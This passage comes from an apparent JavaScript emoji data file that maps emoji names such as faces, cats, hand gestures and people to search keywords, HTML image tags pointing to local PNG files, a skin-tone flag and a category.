    keywords: [ "face", "munch", "scared", "omg" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude31" src="1f631.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  fearful: {
    keywords: [ "face", "scared", "terrified", "nervous", "oops", "huh" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude28" src="1f628.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  cold_sweat: {
    keywords: [ "face", "nervous", "sweat" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude30" src="1f630.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  hushed: {
    keywords: [ "face", "woo", "shh" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude2f" src="1f62f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  frowning: {
    keywords: [ "face", "aw", "what" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude26" src="1f626.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  anguished: {
    keywords: [ "face", "stunned", "nervous" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude27" src="1f627.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  cry: {
    keywords: [ "face", "tears", "sad", "depressed", "upset", ":'(" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude22" src="1f622.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  disappointed_relieved: {
    keywords: [ "face", "phew", "sweat", "nervous" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude25" src="1f625.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  drooling_face: {
    keywords: [ "face" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd24" src="1f924.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  sleepy: {
    keywords: [ "face", "tired", "rest", "nap" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude2a" src="1f62a.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  sweat: {
    keywords: [ "face", "hot", "sad", "tired", "exercise" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude13" src="1f613.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  hot: {
    keywords: [ "face", "feverish", "heat", "red", "sweating" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd75" src="1f975.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  cold: {
    keywords: [ "face", "blue", "freezing", "frozen", "frostbite", "icicles" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd76" src="1f976.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  sob: {
    keywords: [ "face", "cry", "tears", "sad", "upset", "depressed" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude2d" src="1f62d.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  dizzy_face: {
    keywords: [ "spent", "unconscious", "xox", "dizzy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude35" src="1f635.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  astonished: {
    keywords: [ "face", "xox", "surprised", "poisoned" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude32" src="1f632.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  zipper_mouth_face: {
    keywords: [ "face", "sealed", "zipper", "secret" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd10" src="1f910.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  nauseated_face: {
    keywords: [ "face", "vomit", "gross", "green", "sick", "throw up", "ill" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd22" src="1f922.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  sneezing_face: {
    keywords: [ "face", "gesundheit", "sneeze", "sick", "allergy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd27" src="1f927.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  vomiting: {
    keywords: [ "face", "sick" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd2e" src="1f92e.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  mask: {
    keywords: [ "face", "sick", "ill", "disease" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude37" src="1f637.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  face_with_thermometer: {
    keywords: [ "sick", "temperature", "thermometer", "cold", "fever" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd12" src="1f912.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  face_with_head_bandage: {
    keywords: [ "injured", "clumsy", "bandage", "hurt" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd15" src="1f915.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  woozy: {
    keywords: [ "face", "dizzy", "intoxicated", "tipsy", "wavy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd74" src="1f974.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  sleeping: {
    keywords: [ "face", "tired", "sleepy", "night", "zzz" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude34" src="1f634.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  zzz: {
    keywords: [ "sleepy", "tired", "dream" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca4" src="1f4a4.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  poop: {
    keywords: [ "hankey", "shitface", "fail", "turd", "shit" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca9" src="1f4a9.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  smiling_imp: {
    keywords: [ "devil", "horns" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude08" src="1f608.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  imp: {
    keywords: [ "devil", "angry", "horns" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc7f" src="1f47f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  japanese_ogre: {
    keywords: [ "monster", "red", "mask", "halloween", "scary", "creepy", "devil", "demon", "japanese", "ogre" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc79" src="1f479.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  japanese_goblin: {
    keywords: [ "red", "evil", "mask", "monster", "scary", "creepy", "japanese", "goblin" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc7a" src="1f47a.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  skull: {
    keywords: [ "dead", "skeleton", "creepy", "death" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc80" src="1f480.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  ghost: {
    keywords: [ "halloween", "spooky", "scary" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc7b" src="1f47b.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  alien: {
    keywords: [ "UFO", "paul", "weird", "outer_space" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc7d" src="1f47d.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  robot: {
    keywords: [ "computer", "machine", "bot" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd16" src="1f916.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  smiley_cat: {
    keywords: [ "animal", "cats", "happy", "smile" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude3a" src="1f63a.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  smile_cat: {
    keywords: [ "animal", "cats", "smile" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude38" src="1f638.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  joy_cat: {
    keywords: [ "animal", "cats", "haha", "happy", "tears" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude39" src="1f639.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  heart_eyes_cat: {
    keywords: [ "animal", "love", "like", "affection", "cats", "valentines", "heart" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude3b" src="1f63b.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  smirk_cat: {
    keywords: [ "animal", "cats", "smirk" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude3c" src="1f63c.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  kissing_cat: {
    keywords: [ "animal", "cats", "kiss" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude3d" src="1f63d.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  scream_cat: {
    keywords: [ "animal", "cats", "munch", "scared", "scream" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude40" src="1f640.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  crying_cat_face: {
    keywords: [ "animal", "tears", "weep", "sad", "cats", "upset", "cry" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude3f" src="1f63f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  pouting_cat: {
    keywords: [ "animal", "cats" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude3e" src="1f63e.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  palms_up: {
    keywords: [ "hands", "gesture", "cupped", "prayer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd32" src="1f932.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  raised_hands: {
    keywords: [ "gesture", "hooray", "yea", "celebration", "hands" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4c" src="1f64c.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  clap: {
    keywords: [ "hands", "praise", "applause", "congrats", "yay" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc4f" src="1f44f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  wave: {
    keywords: [ "hands", "gesture", "goodbye", "solong", "farewell", "hello", "hi", "palm" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc4b" src="1f44b.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  call_me_hand: {
    keywords: [ "hands", "gesture" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd19" src="1f919.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  "+1": {
    keywords: [ "thumbsup", "yes", "awesome", "good", "agree", "accept", "cool", "hand", "like" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc4d" src="1f44d.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  "-1": {
    keywords: [ "thumbsdown", "no", "dislike", "hand" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc4e" src="1f44e.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  facepunch: {
    keywords: [ "angry", "violence", "fist", "hit", "attack", "hand" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc4a" src="1f44a.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  fist: {
    keywords: [ "fingers", "hand", "grasp" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u270a" src="270a.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  fist_left: {
    keywords: [ "hand", "fistbump" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd1b" src="1f91b.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  fist_right: {
    keywords: [ "hand", "fistbump" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd1c" src="1f91c.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  v: {
    keywords: [ "fingers", "ohyeah", "hand", "peace", "victory", "two" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u270c" src="270c.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  ok_hand: {
    keywords: [ "fingers", "limbs", "perfect", "ok", "okay" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc4c" src="1f44c.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  raised_hand: {
    keywords: [ "fingers", "stop", "highfive", "palm", "ban" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u270b" src="270b.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  raised_back_of_hand: {
    keywords: [ "fingers", "raised", "backhand" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd1a" src="1f91a.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  open_hands: {
    keywords: [ "fingers", "butterfly", "hands", "open" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc50" src="1f450.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  muscle: {
    keywords: [ "arm", "flex", "hand", "summer", "strong", "biceps" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcaa" src="1f4aa.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  pray: {
    keywords: [ "please", "hope", "wish", "namaste", "highfive" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4f" src="1f64f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  foot: {
    keywords: [ "kick", "stomp" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb6" src="1f9b6.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  leg: {
    keywords: [ "kick", "limb" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb5" src="1f9b5.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  handshake: {
    keywords: [ "agreement", "shake" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd1d" src="1f91d.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  point_up: {
    keywords: [ "hand", "fingers", "direction", "up" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u261d" src="261d.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  point_up_2: {
    keywords: [ "fingers", "hand", "direction", "up" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc46" src="1f446.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  point_down: {
    keywords: [ "fingers", "hand", "direction", "down" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc47" src="1f447.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  point_left: {
    keywords: [ "direction", "fingers", "hand", "left" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc48" src="1f448.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  point_right: {
    keywords: [ "fingers", "hand", "direction", "right" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc49" src="1f449.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  fu: {
    keywords: [ "hand", "fingers", "rude", "middle", "flipping" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd95" src="1f595.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  raised_hand_with_fingers_splayed: {
    keywords: [ "hand", "fingers", "palm" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd90" src="1f590.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  love_you: {
    keywords: [ "hand", "fingers", "gesture" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd1f" src="1f91f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  metal: {
    keywords: [ "hand", "fingers", "evil_eye", "sign_of_horns", "rock_on" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd18" src="1f918.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  crossed_fingers: {
    keywords: [ "good", "lucky" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd1e" src="1f91e.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  vulcan_salute: {
    keywords: [ "hand", "fingers", "spock", "star trek" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd96" src="1f596.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  writing_hand: {
    keywords: [ "lower_left_ballpoint_pen", "stationery", "write", "compose" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u270d" src="270d.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  selfie: {
    keywords: [ "camera", "phone" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd33" src="1f933.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  nail_care: {
    keywords: [ "beauty", "manicure", "finger", "fashion", "nail" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc85" src="1f485.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  lips: {
    keywords: [ "mouth", "kiss" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc44" src="1f444.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  tooth: {
    keywords: [ "teeth", "dentist" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb7" src="1f9b7.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  tongue: {
    keywords: [ "mouth", "playful" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc45" src="1f445.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  ear: {
    keywords: [ "face", "hear", "sound", "listen" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc42" src="1f442.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  nose: {
    keywords: [ "smell", "sniff" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc43" src="1f443.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  eye: {
    keywords: [ "face", "look", "see", "watch", "stare" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc41" src="1f441.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  eyes: {
    keywords: [ "look", "watch", "stalk", "peek", "see" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc40" src="1f440.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  brain: {
    keywords: [ "smart", "intelligent" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde0" src="1f9e0.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  bust_in_silhouette: {
    keywords: [ "user", "person", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc64" src="1f464.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  busts_in_silhouette: {
    keywords: [ "user", "person", "human", "group", "team" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc65" src="1f465.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  speaking_head: {
    keywords: [ "user", "person", "human", "sing", "say", "talk" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udde3" src="1f5e3.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  baby: {
    keywords: [ "child", "boy", "girl", "toddler" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc76" src="1f476.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  child: {
    keywords: [ "gender-neutral", "young" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd2" src="1f9d2.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  boy: {
    keywords: [ "man", "male", "guy", "teenager" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc66" src="1f466.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  girl: {
    keywords: [ "female", "woman", "teenager" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc67" src="1f467.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  adult: {
    keywords: [ "gender-neutral", "person" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd1" src="1f9d1.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man: {
    keywords: [ "mustache", "father", "dad", "guy", "classy", "sir", "moustache" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68" src="1f468.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman: {
    keywords: [ "female", "girls", "lady" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69" src="1f469.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  blonde_woman: {
    keywords: [ "woman", "female", "girl", "blonde", "person" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc71\u200d\u2640\ufe0f" src="1f471-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  blonde_man: {
    keywords: [ "man", "male", "boy", "blonde", "guy", "person" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc71" src="1f471.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  bearded_person: {
    keywords: [ "person", "bewhiskered" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd4" src="1f9d4.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  older_adult: {
    keywords: [ "human", "elder", "senior", "gender-neutral" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd3" src="1f9d3.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  older_man: {
    keywords: [ "human", "male", "men", "old", "elder", "senior" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc74" src="1f474.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  older_woman: {
    keywords: [ "human", "female", "women", "lady", "old", "elder", "senior" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc75" src="1f475.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
